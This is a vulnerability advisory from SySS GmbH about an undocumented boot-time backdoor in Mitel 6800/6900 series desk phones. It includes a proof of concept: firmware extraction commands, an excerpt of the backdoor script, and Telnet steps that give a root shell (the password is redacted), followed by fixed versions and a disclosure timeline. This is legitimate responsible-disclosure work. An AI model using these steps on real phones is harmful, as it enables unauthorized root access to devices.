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Advisory ID:               SYSS-2022-021
Product:                   Mitel 6800/6900 Series SIP Phones excluding 6970
                            Mitel 6900 Series IP (MiNet) Phones
Manufacturer:              Mitel Networks Corporation
Affected Version(s):       Rel 5.1 SP8 (5.1.0.8016) and earlier
                            Rel 6.0 (6.0.0.368) to 6.1 HF4 (6.1.0.165)
                            MiNet 1.8.0.12 and earlier
Tested Version(s):         6.1.0.146
Vulnerability Type:        Hidden Functionality (Backdoor) (CWE-912)
Risk Level:                High
Solution Status:           Fixed
Manufacturer Notification: 2022-02-23
Solution Date:             2022-05-03
Public Disclosure:         2022-06-10
CVE Reference:             CVE-2022-29854
                            CVE-2022-29855
Author of Advisory:        Moritz Abrell, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Mitel Networks Corporation manufactures different IP- and SIP-based
desk phones.

The manufacturer describes these products, e.g., as follows:

"The 6900 IP Series is a powerful suite of desk phones with crystal clear
audio, advanced features and a broad array of accessories to improve
productivity and mobility in today's modern business environment."

The firmware of several phones contains an undocumented backdoor which
allows an attacker to gain root access by pressing specific keys on
system boot.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The shell script "check_mft.sh", which is located in the directory
"/etc" on the phone, checks whether the keys "*" and "#" are pressed
simultaneously during system startup.

The phone then sets its IP address to "10.30.102.102" and starts a
Telnet server. A Telnet login can then be performed with a static root
password.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Identify the backdoor

1.1. Extract the jffs2 file system from an affected Mitel firmware:

#> binwalk -e 6867i.st

DECIMAL       HEXADECIMAL     DESCRIPTION
- --------------------------------------------------------------------------------
347           0x15B           Linux kernel ARM boot executable zImage (little-endian)
15695         0x3D4F          gzip compressed data, maximum compression, from Unix, last modified: 2021-10-22 10:47:08
1223395       0x12AAE3        JFFS2 filesystem, little endian


1.2. Mount the jffs2 file system:

#> modprobe jffs2
#> modprobe mtdram total_size=70000
#> modprobe mtdblock
#> dd if=12AAE3.jffs2 of=/dev/mtdblock0
#> mount -t jffs2 /dev/mtdblock0 /mnt/


1.3. The script "check_mft.sh" located in the "/etc" directory contains
the backdoor logic:

#> cat /mnt/etc/check_mft.sh
************* content shortened ****************
#!/bin/sh

case "$HOSTNAME" in

#press and hold *  # two keys at the same time
     
      "bcm911109_6867i" | "6867i" | "bcm911107_praxis_3" |  "bcm911109_aquarius_3")
         GPIODetect=`gpio get 4`
         checkDhsgShorted
         #KEY_OUT0 (GPIO52)  -> KEY_IN7 (GPIO50)  "DownKey" is press
         isCCATest=`dbg rw 0x8000d000 8| grep "0x8000d000: 01ff 017f 01ff 01ff 01ff 01ff 01ff 01ff"`
         
         keyBoardScanMatch="True"
         keycombinationMatch=`dbg rw 0x8000d000 8| grep "0x8000d000: 01ff 01ff 01ff 01ff 01af 01ff 01ff 01ff"`
     ;;
esac

echo "keyBoardScanMatch = $keyBoardScanMatch,  dhsgShorted=$dhsgShorted "
echo "GPIODetect = $GPIODetect,keycombinationMatch=$keycombinationMatch"
echo "isCCATest = $isCCATest"

if [ "$keyBoardScanMatch" -a $dhsgShorted -eq 1 -a $GPIODetect -eq "0" -o  "$keycombinationMatch" ]; then
     mount -t jffs2 /dev/mtdblock3 /nvdata
     if [ -f $ENETCFG ]; then
         . $ENETCFG
         MAC=${ENETCFG_MAC}
     fi

     /etc/if_bcm_net_setup.sh up
     ifconfig eth0 hw ether $MAC
     ifconfig eth0 10.30.102.102 netmask 255.255.255.0 up
     
     if [ -f /usr/sbin/telnetd ]; then
          telnetd &
     fi
     exit 255
fi
************* content shortened ****************


1.4. The file "ota_BCM911109_PRAXIS_3_voice_v6_5_jffs2.bin" located in
the directory "/etc" contains another jffs2 file system.


1.5. Extract and mount the file system as described in Steps 1
and 2.


1.6. The "check_mft.sh" in this file system also contains the root
password which is set by default and forced by the script:

#> cat /mnt/etc/check_mft.sh
************* content shortened ****************
if [ -f /usr/sbin/telnetd ]; then
# make sure the default password is set for root.
     (echo (password stripped out); sleep 1; echo (password stripped out) | passwd -a A
     telnetd &
fi
************* content shortened ****************


2. Exploiting

2.1. Boot the phone and press the "*" and "#" keys simultaneously.


2.2. Assign an IP address to communicate with the phone:

#> ip addr add 10.30.102.100/24 dev eth0


2.3. Now, logging in to the phone as the root user with the static password
via Telnet is possible:

#> telnet 10.30.102.102
Trying 10.30.102.102...
Connected to 10.30.102.102.
Escape character is '^]'.

(none) login: root
Password:
10.30.102.102 # id
uid=0(root) gid=0(root) groups=0(root)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Upgrade to one of the following (or later) versions:
- - 5.1 SP8 HF1 (5.1.0.8017)
- - 6.1 HF5 (6.1.0.171)
- - 6.2 SP1 (6.2.0.1012)
- - MiNet 1.8.0.15

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-02-22: Vulnerability discovered
2022-02-23: Vulnerability reported to manufacturer
2022-02-24: Acknowledgement of receipt of the vulnerability report
             received from the manufacturer
2022-03-30: Consultation with the manufacturer regarding updates to fix
             the vulnerability
2022-03-30: Manufacturer confirms the vulnerability, informs about the
             status to fix the vulnerability and asks for an extension of
             the disclosure timeline
2022-03-31: New disclosure date set to 2022-05-10
2022-05-04: Asking the manufacturer for any updates regarding the
             vulnerability
2022-05-05: Manufacturer provides a patch to fix this vulnerability
2022-05-05: Manufacturer publishes the vulnerability and assigned CVE IDs
2022-05-05: Manufacturer asks for another extension of the disclosure
             timeline, as large parts of the phones may still be unpatched
             in practice
2022-05-05: New disclosure date set to 2022-06-10
2022-06-10: Public disclosure of the vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Mitel IP desk phones:
     https://www.mitel.com/products/devices-accessories/ip-phones-peripherals
[2] SySS Responsible Disclosure Policy:
     https://www.syss.de/en/responsible-disclosure-policy
[3] Vulnerability reports by the manufacturer:
     https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-22-0004
     https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-22-0003
[4] CVE-2022-29854:
     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29854
[5] CVE-2022-29855:
     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29855

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Abrell of SySS GmbH.

E-Mail:moritz.abrell@syss.de
Public Key:https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9  87E6 AE0C 9BF8 F134 8B53

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
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